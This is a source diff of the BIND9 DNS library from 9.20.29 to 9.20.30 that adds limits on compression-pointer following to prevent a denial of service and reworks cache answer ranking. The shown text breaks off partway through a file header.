--- bind9-9.20.29/lib/dns/message.c 2026-09-11 19:41:01.513331285 +0000 +++ bind9-9.20.30/lib/dns/message.c 2026-10-12 13:12:08.429900382 +0000 @@ -131,6 +131,21 @@ #define RDATASET_FREEMAX 8 * RDATASET_FILLCOUNT /*% + * How many compression pointers one message may make us follow, per byte + * of that message. + * + * A per-name limit does not bound this on its own: thousands of names can + * each stay well inside it while all pointing into one shared chain. The + * budget scales with the message rather than being fixed, so that the + * messages which legitimately carry very many names - UPDATE, AXFR and + * IXFR - are accommodated by construction, since they use about one + * pointer per name and the message length already bounds how many names + * they can hold. Real traffic stays far below one follow per byte; the + * packets in our own test suite peak at a tenth of that. + */ +#define DNS_MESSAGE_MAXHOPSPERBYTE 4 + +/*% * Text representation of the different items, for message_totext * functions. */ @@ -868,12 +883,13 @@ * Read a name from buffer "source". */ static isc_result_t -getname(dns_name_t *name, isc_buffer_t *source, dns_message_t *msg, - dns_decompress_t dctx) { +getname(dns_name_t *name, isc_buffer_t *source, dns_message_t *msg) { isc_buffer_t *scratch; isc_result_t result; unsigned int tries; + uint32_t budget = dns_decompress_getbudget(&msg->dctx); + dns_decompress_setpermitted(&msg->dctx, true); scratch = currentbuffer(msg); /* @@ -882,9 +898,10 @@ */ tries = 0; while (tries < 2) { - result = dns_name_fromwire(name, source, dctx, scratch); + result = dns_name_fromwire(name, source, &msg->dctx, scratch); if (result == ISC_R_NOSPACE) { + dns_decompress_setbudget(&msg->dctx, budget); tries++; result = newbuffer(msg, SCRATCHPAD_SIZE); @@ -903,13 +920,13 @@ } static isc_result_t -getrdata(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t dctx, - dns_rdataclass_t rdclass, dns_rdatatype_t rdtype, - unsigned int rdatalen, dns_rdata_t *rdata) { +getrdata(isc_buffer_t *source, dns_message_t *msg, dns_rdataclass_t rdclass, + dns_rdatatype_t rdtype, unsigned int rdatalen, dns_rdata_t *rdata) { isc_buffer_t *scratch; isc_result_t result; unsigned int tries; unsigned int trysize; + uint32_t budget = dns_decompress_getbudget(&msg->dctx); scratch = currentbuffer(msg); @@ -927,9 +944,10 @@ /* XXX possibly change this to a while (tries < 2) loop */ for (;;) { result = dns_rdata_fromwire(rdata, rdclass, rdtype, source, - dctx, scratch); + &msg->dctx, scratch); if (result == ISC_R_NOSPACE) { + dns_decompress_setbudget(&msg->dctx, budget); if (tries == 0) { trysize = 2 * rdatalen; if (trysize < SCRATCHPAD_SIZE) { @@ -977,8 +995,7 @@ } static isc_result_t -getquestions(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t dctx, - unsigned int options) { +getquestions(isc_buffer_t *source, dns_message_t *msg, unsigned int options) { isc_region_t r; unsigned int count; dns_name_t *name = NULL; @@ -1010,7 +1027,7 @@ */ isc_buffer_remainingregion(source, &r); isc_buffer_setactive(source, r.length); - result = getname(name, source, msg, dctx); + result = getname(name, source, msg); if (result != ISC_R_SUCCESS) { goto cleanup; } @@ -1197,8 +1214,8 @@ } static isc_result_t -getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t dctx, - dns_section_t sectionid, unsigned int options) { +getsection(isc_buffer_t *source, dns_message_t *msg, dns_section_t sectionid, + unsigned int options) { isc_region_t r; unsigned int count, rdatalen; dns_name_t *name = NULL; @@ -1244,7 +1261,7 @@ */ isc_buffer_remainingregion(source, &r); isc_buffer_setactive(source, r.length); - result = getname(name, source, msg, dctx); + result = getname(name, source, msg); if (result != ISC_R_SUCCESS) { goto cleanup; } @@ -1401,10 +1418,10 @@ msg->opcode == dns_opcode_update && sectionid == DNS_SECTION_UPDATE) { - result = getrdata(source, msg, dctx, msg->rdclass, - rdtype, rdatalen, rdata); + result = getrdata(source, msg, msg->rdclass, rdtype, + rdatalen, rdata); } else { - result = getrdata(source, msg, dctx, rdclass, rdtype, + result = getrdata(source, msg, rdclass, rdtype, rdatalen, rdata); } if (result != ISC_R_SUCCESS) { @@ -1708,7 +1725,6 @@ dns_message_parse(dns_message_t *msg, isc_buffer_t *source, unsigned int options) { isc_region_t r; - dns_decompress_t dctx; isc_result_t ret; uint16_t tmpflags; isc_buffer_t origsource; @@ -1756,9 +1772,13 @@ msg->header_ok = 1; msg->state = DNS_SECTION_QUESTION; - dctx = DNS_DECOMPRESS_ALWAYS; + msg->dctx = DNS_DECOMPRESS_INITIALIZER; + msg->dctx.policy = DNS_DECOMPRESS_ALWAYS; + dns_decompress_setbudget(&msg->dctx, + DNS_MESSAGE_MAXHOPSPERBYTE * + isc_buffer_usedlength(&origsource)); - ret = getquestions(source, msg, dctx, options); + ret = getquestions(source, msg, options); if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) { goto truncated; @@ -1772,7 +1792,7 @@ } msg->question_ok = 1; - ret = getsection(source, msg, dctx, DNS_SECTION_ANSWER, options); + ret = getsection(source, msg, DNS_SECTION_ANSWER, options); if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) { goto truncated; } @@ -1784,7 +1804,7 @@ return ret; } - ret = getsection(source, msg, dctx, DNS_SECTION_AUTHORITY, options); + ret = getsection(source, msg, DNS_SECTION_AUTHORITY, options); if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) { goto truncated; } @@ -1796,7 +1816,7 @@ return ret; } - ret = getsection(source, msg, dctx, DNS_SECTION_ADDITIONAL, options); + ret = getsection(source, msg, DNS_SECTION_ADDITIONAL, options); if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) { goto truncated; } @@ -3233,7 +3253,7 @@ isc_result_t dns_message_checksig(dns_message_t *msg, dns_view_t *view) { - isc_buffer_t b, msgb; + isc_buffer_t msgb; REQUIRE(DNS_MESSAGE_VALID(msg)); @@ -3323,11 +3343,9 @@ dns_rdata_reset(&rdata); dns_rdataset_current(&keyset, &rdata); - isc_buffer_init(&b, rdata.data, rdata.length); - isc_buffer_add(&b, rdata.length); - result = dst_key_fromdns(&sig.signer, rdata.rdclass, &b, - view->mctx, &key); + result = dns_dnssec_keyfromrdata(&sig.signer, &rdata, + view->mctx, &key); if (result != ISC_R_SUCCESS) { continue; } @@ -3658,13 +3676,12 @@ static isc_result_t render_nameopt(isc_buffer_t *optbuf, bool yaml, isc_buffer_t *target) { - dns_decompress_t dctx = DNS_DECOMPRESS_NEVER; dns_fixedname_t fixed; dns_name_t *name = dns_fixedname_initname(&fixed); char namebuf[DNS_NAME_FORMATSIZE]; isc_result_t result; - result = dns_name_fromwire(name, optbuf, dctx, NULL); + result = dns_name_fromwire(name, optbuf, NULL, NULL); if (result == ISC_R_SUCCESS && isc_buffer_activelength(optbuf) == 0) { dns_name_format(name, namebuf, sizeof(namebuf)); ADD_STRING(target, " \""); diff -Nru bind9-9.20.29/lib/dns/name.c bind9-9.20.30/lib/dns/name.c --- bind9-9.20.29/lib/dns/name.c 2026-09-11 19:41:01.513331285 +0000 +++ bind9-9.20.30/lib/dns/name.c 2026-10-12 13:12:08.429900382 +0000 @@ -1408,7 +1408,7 @@ isc_result_t dns_name_fromwire(dns_name_t *const name, isc_buffer_t *const source, - const dns_decompress_t dctx, isc_buffer_t *target) { + dns_decompress_t *const dctx, isc_buffer_t *target) { /* * Copy the name at source into target, decompressing it. * @@ -1426,7 +1426,11 @@ * * The key word is "prior". This says that compression pointers must * point strictly earlier in the message (before our "marker" variable), - * which is enough to prevent DoS attacks due to compression loops. + * which is enough to prevent compression loops. It is not enough to + * prevent a denial of service, because a pointer that refers to another + * pointer adds no octets to the name, so a chain of them can be walked + * over and over without ever reaching the length limits. The pointer + * branch below therefore also limits how many hops one name may take. * * The next important sentence is: * @@ -1504,6 +1508,8 @@ const uint8_t *marker = start; const uint8_t *cursor = start; const uint8_t *consumed = NULL; + uint32_t hops = 0; + uint32_t indirects = 0; /* * One iteration per label. @@ -1521,6 +1527,7 @@ /* and then a step to the ri-i-i-i-i-ight */ cursor += label_len; name_len += label_len + 1; + indirects = 0; if (name_len > name_max) { return name_max == DNS_NAME_MAXWIRE ? DNS_R_NAMETOOLONG @@ -1532,6 +1539,19 @@ return DNS_R_BADLABELTYPE; } else if (!dns_decompress_getpermitted(dctx)) { return DNS_R_DISALLOWED; + } else if (hops++ >= DNS_NAME_MAXHOPS || + !dns_decompress_consume(dctx)) + { + /* + * This name has followed as many pointers as any + * conforming encoder could need, or the message it + * belongs to has: see the note on DNS_NAME_MAXHOPS. + * Pointing backwards is enough to make decompression + * terminate, but not enough to make it cheap, since a + * pointer that refers to another pointer adds no + * octets and so is never caught by the length limits. + */ + return DNS_R_BADPOINTER; } else if (cursor < source_max) { /* * Compression pointer. Ensure it does not loop. @@ -1547,6 +1567,17 @@ if (pointer >= marker) { return DNS_R_BADPOINTER; } + /* + * A pointer that lands on another pointer is never + * necessary: see the note on DNS_NAME_MAXINDIRECTS. + * The target is in bounds because it is below the + * marker, which never leaves the active region. + */ + if (*pointer < 192) { + indirects = 0; + } else if (++indirects > DNS_NAME_MAXINDIRECTS) { + return DNS_R_BADPOINTER; + } const uint32_t copy_len = (cursor - 2) - marker; uint8_t *const dest = name_buf + name_len - copy_len; memmove(dest, marker, copy_len); @@ -2280,7 +2311,8 @@ ndata++; } - if (len == 4U && strncasecmp((const char *)ndata, "_dns", 4) == 0) { + if (len == 4U && isc_string_casehasprefix((const char *)ndata, "_dns")) + { return true; } diff -Nru bind9-9.20.29/lib/dns/nsec3.c bind9-9.20.30/lib/dns/nsec3.c --- bind9-9.20.29/lib/dns/nsec3.c 2026-09-11 19:41:01.514331309 +0000 +++ bind9-9.20.30/lib/dns/nsec3.c 2026-10-12 13:12:08.430900403 +0000 @@ -298,47 +298,6 @@ } /*% - * Update a single RR in version 'ver' of 'db' and log the - * update in 'diff'. - * - * Ensures: - * \li '*tuple' == NULL. Either the tuple is freed, or its - * ownership has been transferred to the diff. - */ -static isc_result_t -do_one_tuple(dns_difftuple_t **tuple, dns_db_t *db, dns_dbversion_t *ver, - dns_diff_t *diff) { - dns_diff_t temp_diff; - isc_result_t result; - - /* - * Create a singleton diff. - */ - dns_diff_init(diff->mctx, &temp_diff); - ISC_LIST_APPEND(temp_diff.tuples, *tuple, link); - - /* - * Apply it to the database. - */ - result = dns_diff_apply(&temp_diff, db, ver); - ISC_LIST_UNLINK(temp_diff.tuples, *tuple, link); - if (result != ISC_R_SUCCESS) { - dns_difftuple_free(tuple); - return result; - } - - /* - * Merge it into the current pending journal entry. - */ - dns_diff_appendminimal(diff, tuple); - - /* - * Do not clear temp_diff. - */ - return ISC_R_SUCCESS; -} - -/*% * Set '*exists' to true iff the given name exists, to false otherwise. */ static isc_result_t @@ -438,7 +397,7 @@ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_DEL, name, rdataset.ttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, version, diff)); + CHECK(dns_diff_applytuple(&tuple, db, version, diff)); } if (result != ISC_R_NOMORE) { goto cleanup; @@ -726,7 +685,7 @@ &buffer)); CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, prev, rdataset.ttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, version, diff)); + CHECK(dns_diff_applytuple(&tuple, db, version, diff)); INSIST(old_length <= sizeof(nexthash)); memmove(nexthash, old_next, old_length); if (!CREATE(nsec3param->flags)) { @@ -760,7 +719,7 @@ */ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, hashname, nsecttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, version, diff)); + CHECK(dns_diff_applytuple(&tuple, db, version, diff)); INSIST(tuple == NULL); dns_rdata_reset(&rdata); dns_db_detachnode(db, &newnode); @@ -863,7 +822,7 @@ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, prev, rdataset.ttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, version, diff)); + CHECK(dns_diff_applytuple(&tuple, db, version, diff)); INSIST(old_length <= sizeof(nexthash)); memmove(nexthash, old_next, old_length); if (!CREATE(nsec3param->flags)) { @@ -892,7 +851,7 @@ */ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, hashname, nsecttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, version, diff)); + CHECK(dns_diff_applytuple(&tuple, db, version, diff)); INSIST(tuple == NULL); dns_rdata_reset(&rdata); dns_db_detachnode(db, &newnode); @@ -1006,8 +965,8 @@ isc_buffer_setactive(&buf1, src->length - 1); isc_buffer_init(&buf2, buf, (unsigned int)buflen); result = dns_rdata_fromwire(target, src->rdclass, - dns_rdatatype_nsec3param, &buf1, - DNS_DECOMPRESS_NEVER, &buf2); + dns_rdatatype_nsec3param, &buf1, NULL, + &buf2); return result == ISC_R_SUCCESS; } @@ -1161,7 +1120,7 @@ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, origin, 0, &private, &tuple)); - CHECK(do_one_tuple(&tuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&tuple, db, ver, diff)); INSIST(tuple == NULL); } dns_rdata_reset(&rdata); @@ -1217,7 +1176,7 @@ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_DEL, origin, 0, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&tuple, db, ver, diff)); INSIST(tuple == NULL); rdata.data = buf; @@ -1231,7 +1190,7 @@ if (!flag) { CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, origin, 0, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, ver, diff)); + CHECK(dns_diff_applytuple(&tuple, db, ver, diff)); INSIST(tuple == NULL); } } @@ -1533,7 +1492,7 @@ &buffer)); CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, prev, rdataset.ttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, version, diff)); + CHECK(dns_diff_applytuple(&tuple, db, version, diff)); dns_rdata_reset(&rdata); dns_rdataset_disassociate(&rdataset); break; @@ -1635,7 +1594,7 @@ CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, prev, rdataset.ttl, &rdata, &tuple)); - CHECK(do_one_tuple(&tuple, db, version, diff)); + CHECK(dns_diff_applytuple(&tuple, db, version, diff)); dns_rdata_reset(&rdata); dns_rdataset_disassociate(&rdataset); break; diff -Nru bind9-9.20.29/lib/dns/qpcache.c bind9-9.20.30/lib/dns/qpcache.c --- bind9-9.20.29/lib/dns/qpcache.c 2026-09-11 19:41:01.516331356 +0000 +++ bind9-9.20.30/lib/dns/qpcache.c 2026-10-12 13:12:08.432900446 +0000 @@ -1617,6 +1617,47 @@ return result; } +typedef enum answer_rank { + ANSWER_MISSING, + ANSWER_STALE, + ANSWER_OK, +} answer_rank_t; + +static inline bool +missing_answer(dns_slabheader_t *found, unsigned int options) { + if (found == NULL) { + return true; + } + + dns_trust_t trust = header_trust(found); + return (DNS_TRUST_ADDITIONAL(trust) && + (options & DNS_DBFIND_ADDITIONALOK) == 0) || + (DNS_TRUST_GLUE(trust) && (options & DNS_DBFIND_GLUEOK) == 0) || + (DNS_TRUST_PENDING(trust) && + (options & DNS_DBFIND_PENDINGOK) == 0); +} + +static inline answer_rank_t +answer_rank(dns_slabheader_t *header, unsigned int options) { + if (missing_answer(header, options)) { + return ANSWER_MISSING; + } + + if (STALE(header)) { + return ANSWER_STALE; + } + + return ANSWER_OK; +} + +/* Keep unusable candidates distinguishable from absent data. */ +static inline bool +better_answer(dns_slabheader_t *header, dns_slabheader_t *current, + unsigned int options) { + return current == NULL || + answer_rank(header, options) > answer_rank(current, options); +} + static void qpc_search_init(qpc_search_t *search, qpcache_t *db, unsigned int options, isc_stdtime_t now) { @@ -1678,7 +1719,7 @@ isc_rwlocktype_t nlocktype = isc_rwlocktype_none; dns_slabheader_t *header = NULL; dns_slabheader_t *header_prev = NULL, *header_next = NULL; - dns_slabheader_t *found = NULL, *nsheader = NULL; + dns_slabheader_t *found = NULL, *nsheader = NULL, *cname = NULL; dns_slabheader_t *foundsig = NULL, *nssig = NULL, *cnamesig = NULL; dns_slabheader_t *update = NULL, *updatesig = NULL; dns_slabheader_t *nsecheader = NULL, *nsecsig = NULL; @@ -1775,9 +1816,12 @@ * (RFC4035, section 2.5 and RFC3007). * * We don't check for RRSIG, because we don't store RRSIG records - * directly. + * directly. At-parent data shares the cache node with a child's + * apex CNAME but must be looked up independently. */ - if (type == dns_rdatatype_key || type == dns_rdatatype_nsec) { + if (type == dns_rdatatype_key || type == dns_rdatatype_nsec || + dns_rdatatype_atparent(type) || type == dns_rdatatype_any) + { cname_ok = false; } @@ -1800,6 +1844,7 @@ nsecheader = NULL; nssig = NULL; nsecsig = NULL; + cname = NULL; cnamesig = NULL; empty_node = true; header_prev = NULL; @@ -1830,26 +1875,10 @@ */ if (header->type == type || (type == dns_rdatatype_any && - DNS_TYPEPAIR_TYPE(header->type) != 0) || - (cname_ok && header->type == dns_rdatatype_cname)) + DNS_TYPEPAIR_TYPE(header->type) != 0)) { - /* - * We've found the answer. - */ - found = header; - if (header->type == dns_rdatatype_cname && - cname_ok) - { - /* - * If we've already got the - * CNAME RRSIG, use it. - */ - if (cnamesig != NULL) { - foundsig = cnamesig; - } else { - sigtype = DNS_SIGTYPE( - dns_rdatatype_cname); - } + if (better_answer(header, found, options)) { + found = header; } } else if (header->type == sigtype) { /* @@ -1863,7 +1892,13 @@ /* * We've found a negative cache entry. */ - found = header; + if (better_answer(header, found, options)) { + found = header; + } + } else if (cname_ok && + header->type == dns_rdatatype_cname) + { + cname = header; } else if (header->type == dns_rdatatype_ns) { /* * Remember a NS rdataset even if we're @@ -1901,6 +1936,12 @@ } } + /* At equal rank, prefer the requested type. */ + if (cname != NULL && better_answer(cname, found, options)) { + found = cname; + foundsig = cnamesig; + } + if (empty_node) { /* * We have an exact match for the name, but there are no @@ -1922,14 +1963,7 @@ /* * If we didn't find what we were looking for... */ - if (found == NULL || - (DNS_TRUST_ADDITIONAL(header_trust(found)) && - ((options & DNS_DBFIND_ADDITIONALOK) == 0)) || - (header_trust(found) == dns_trust_glue && - ((options & DNS_DBFIND_GLUEOK) == 0)) || - (DNS_TRUST_PENDING(header_trust(found)) && - ((options & DNS_DBFIND_PENDINGOK) == 0))) - { + if (missing_answer(found, options)) { /* * Return covering NODATA NSEC record. */ diff -Nru bind9-9.20.29/lib/dns/rbt-cachedb.c bind9-9.20.30/lib/dns/rbt-cachedb.c --- bind9-9.20.29/lib/dns/rbt-cachedb.c 2026-09-11 19:41:01.517331381 +0000 +++ bind9-9.20.30/lib/dns/rbt-cachedb.c 2026-10-12 13:12:08.434900489 +0000 @@ -742,6 +742,47 @@ return result; } +typedef enum answer_rank { + ANSWER_MISSING, + ANSWER_STALE, + ANSWER_OK, +} answer_rank_t; + +static inline bool +missing_answer(dns_slabheader_t *found, unsigned int options) { + if (found == NULL) { + return true; + } + + dns_trust_t trust = found->trust; + return (DNS_TRUST_ADDITIONAL(trust) && + (options & DNS_DBFIND_ADDITIONALOK) == 0) || + (DNS_TRUST_GLUE(trust) && (options & DNS_DBFIND_GLUEOK) == 0) || + (DNS_TRUST_PENDING(trust) && + (options & DNS_DBFIND_PENDINGOK) == 0); +} + +static inline answer_rank_t +answer_rank(dns_slabheader_t *header, unsigned int options) { + if (missing_answer(header, options)) { + return ANSWER_MISSING; + } + + if (STALE(header)) { + return ANSWER_STALE; + } + + return ANSWER_OK; +} + +/* Keep unusable candidates distinguishable from absent data. */ +static inline bool +better_answer(dns_slabheader_t *header, dns_slabheader_t *current, + unsigned int options) { + return current == NULL || + answer_rank(header, options) > answer_rank(current, options); +} + static isc_result_t cache_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version, dns_rdatatype_t type, unsigned int options, isc_stdtime_t now, @@ -760,7 +801,7 @@ isc_rwlocktype_t nlocktype = isc_rwlocktype_none; dns_slabheader_t *header = NULL; dns_slabheader_t *header_prev = NULL, *header_next = NULL; - dns_slabheader_t *found = NULL, *nsheader = NULL; + dns_slabheader_t *found = NULL, *nsheader = NULL, *cname = NULL; dns_slabheader_t *foundsig = NULL, *nssig = NULL, *cnamesig = NULL; dns_slabheader_t *update = NULL, *updatesig = NULL; dns_slabheader_t *nsecheader = NULL, *nsecsig = NULL; @@ -832,9 +873,12 @@ * (RFC4035, section 2.5 and RFC3007). * * We don't check for RRSIG, because we don't store RRSIG records - * directly. + * directly. At-parent data shares the cache node with a child's + * apex CNAME but must be looked up independently. */ - if (type == dns_rdatatype_key || type == dns_rdatatype_nsec) { + if (type == dns_rdatatype_key || type == dns_rdatatype_nsec || + dns_rdatatype_atparent(type) || type == dns_rdatatype_any) + { cname_ok = false; } @@ -857,6 +901,7 @@ nsecheader = NULL; nssig = NULL; nsecsig = NULL; + cname = NULL; cnamesig = NULL; empty_node = true; header_prev = NULL; @@ -887,26 +932,10 @@ */ if (header->type == type || (type == dns_rdatatype_any && - DNS_TYPEPAIR_TYPE(header->type) != 0) || - (cname_ok && header->type == dns_rdatatype_cname)) + DNS_TYPEPAIR_TYPE(header->type) != 0)) { - /* - * We've found the answer. - */ - found = header; - if (header->type == dns_rdatatype_cname && - cname_ok) - { - /* - * If we've already got the - * CNAME RRSIG, use it. - */ - if (cnamesig != NULL) { - foundsig = cnamesig; - } else { - sigtype = DNS_SIGTYPE( - dns_rdatatype_cname); - } + if (better_answer(header, found, options)) { + found = header; } } else if (header->type == sigtype) { /* @@ -920,7 +949,13 @@ /* * We've found a negative cache entry. */ - found = header; + if (better_answer(header, found, options)) { + found = header; + } + } else if (cname_ok && + header->type == dns_rdatatype_cname) + { + cname = header; } else if (header->type == dns_rdatatype_ns) { /* * Remember a NS rdataset even if we're @@ -958,6 +993,12 @@ } } + /* At equal rank, prefer the requested type. */ + if (cname != NULL && better_answer(cname, found, options)) { + found = cname; + foundsig = cnamesig; + } + if (empty_node) { /* * We have an exact match for the name, but there are no @@ -979,14 +1020,7 @@ /* * If we didn't find what we were looking for... */ - if (found == NULL || - (DNS_TRUST_ADDITIONAL(found->trust) && - ((options & DNS_DBFIND_ADDITIONALOK) == 0)) || - (found->trust == dns_trust_glue && - ((options & DNS_DBFIND_GLUEOK) == 0)) || - (DNS_TRUST_PENDING(found->trust) && - ((options & DNS_DBFIND_PENDINGOK) == 0))) - { + if (missing_answer(found, options)) { /* * Return covering NODATA NSEC record. */ diff -Nru bind9-9.20.29/lib/dns/rdata/any_255/tsig_250.c bind9-9.20.30/lib/dns/rdata/any_255/tsig_250.c --- bind9-9.20.29/lib/dns/rdata/any_255/tsig_250.c 2026-09-11 19:41:01.520331452 +0000 +++ bind9-9.20.30/lib/dns/rdata/any_255/tsig_250.c 2026-10-12 13:12:08.436900531 +0000 @@ -265,8 +265,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - /* * Algorithm Name. */ diff -Nru bind9-9.20.29/lib/dns/rdata/ch_3/a_1.c bind9-9.20.30/lib/dns/rdata/ch_3/a_1.c --- bind9-9.20.29/lib/dns/rdata/ch_3/a_1.c 2026-09-11 19:41:01.520331452 +0000 +++ bind9-9.20.30/lib/dns/rdata/ch_3/a_1.c 2026-10-12 13:12:08.436900531 +0000 @@ -106,7 +106,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/afsdb_18.c bind9-9.20.30/lib/dns/rdata/generic/afsdb_18.c --- bind9-9.20.29/lib/dns/rdata/generic/afsdb_18.c 2026-09-11 19:41:01.520331452 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/afsdb_18.c 2026-10-12 13:12:08.436900531 +0000 @@ -101,8 +101,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); isc_buffer_activeregion(source, &sr); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/amtrelay_260.c bind9-9.20.30/lib/dns/rdata/generic/amtrelay_260.c --- bind9-9.20.29/lib/dns/rdata/generic/amtrelay_260.c 2026-09-11 19:41:01.520331452 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/amtrelay_260.c 2026-10-12 13:12:08.436900531 +0000 @@ -192,8 +192,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - isc_buffer_activeregion(source, ®ion); if (region.length < 2) { return ISC_R_UNEXPECTEDEND; diff -Nru bind9-9.20.29/lib/dns/rdata/generic/cname_5.c bind9-9.20.30/lib/dns/rdata/generic/cname_5.c --- bind9-9.20.29/lib/dns/rdata/generic/cname_5.c 2026-09-11 19:41:01.522331500 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/cname_5.c 2026-10-12 13:12:08.438900574 +0000 @@ -71,7 +71,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/dname_39.c bind9-9.20.30/lib/dns/rdata/generic/dname_39.c --- bind9-9.20.29/lib/dns/rdata/generic/dname_39.c 2026-09-11 19:41:01.523331524 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/dname_39.c 2026-10-12 13:12:08.438900574 +0000 @@ -72,8 +72,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); } diff -Nru bind9-9.20.29/lib/dns/rdata/generic/dsync_66.c bind9-9.20.30/lib/dns/rdata/generic/dsync_66.c --- bind9-9.20.29/lib/dns/rdata/generic/dsync_66.c 2026-09-11 19:41:01.524331548 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/dsync_66.c 2026-10-12 13:12:08.439900596 +0000 @@ -174,8 +174,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); isc_buffer_activeregion(source, &sregion); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/hip_55.c bind9-9.20.30/lib/dns/rdata/generic/hip_55.c --- bind9-9.20.29/lib/dns/rdata/generic/hip_55.c 2026-09-11 19:41:01.525331572 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/hip_55.c 2026-10-12 13:12:08.440900617 +0000 @@ -226,7 +226,6 @@ RETERR(mem_tobuffer(target, rr.base, 4 + len)); isc_buffer_forward(source, 4 + len); - dctx = dns_decompress_setpermitted(dctx, false); while (isc_buffer_activelength(source) > 0) { dns_name_init(&name, NULL); RETERR(dns_name_fromwire(&name, source, dctx, target)); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/ipseckey_45.c bind9-9.20.30/lib/dns/rdata/generic/ipseckey_45.c --- bind9-9.20.29/lib/dns/rdata/generic/ipseckey_45.c 2026-09-11 19:41:01.526331596 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/ipseckey_45.c 2026-10-12 13:12:08.441900638 +0000 @@ -221,8 +221,6 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, false); - dns_name_init(&name, NULL); isc_buffer_activeregion(source, ®ion); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/lp_107.c bind9-9.20.30/lib/dns/rdata/generic/lp_107.c --- bind9-9.20.29/lib/dns/rdata/generic/lp_107.c 2026-09-11 19:41:01.527331620 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/lp_107.c 2026-10-12 13:12:08.442900660 +0000 @@ -89,7 +89,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/mb_7.c bind9-9.20.30/lib/dns/rdata/generic/mb_7.c --- bind9-9.20.29/lib/dns/rdata/generic/mb_7.c 2026-09-11 19:41:01.528331644 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/mb_7.c 2026-10-12 13:12:08.442900660 +0000 @@ -70,7 +70,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/md_3.c bind9-9.20.30/lib/dns/rdata/generic/md_3.c --- bind9-9.20.29/lib/dns/rdata/generic/md_3.c 2026-09-11 19:41:01.528331644 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/md_3.c 2026-10-12 13:12:08.443900681 +0000 @@ -70,7 +70,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/mf_4.c bind9-9.20.30/lib/dns/rdata/generic/mf_4.c --- bind9-9.20.29/lib/dns/rdata/generic/mf_4.c 2026-09-11 19:41:01.528331644 +0000 +++ bind9-9.20.30/lib/dns/rdata/generic/mf_4.c 2026-10-12 13:12:08.443900681 +0000 @@ -70,7 +70,7 @@ UNUSED(type); UNUSED(rdclass); - dctx = dns_decompress_setpermitted(dctx, true); + dns_decompress_setpermitted(dctx, true); dns_name_init(&name, NULL); return dns_name_fromwire(&name, source, dctx, target); diff -Nru bind9-9.20.29/lib/dns/rdata/generic/mg_8.c bind9-9.20.30/lib/dns/rdata/generic/mg_8.c --- bind9-9.20.29/lib/dns/rdata/generic/mg_8.c 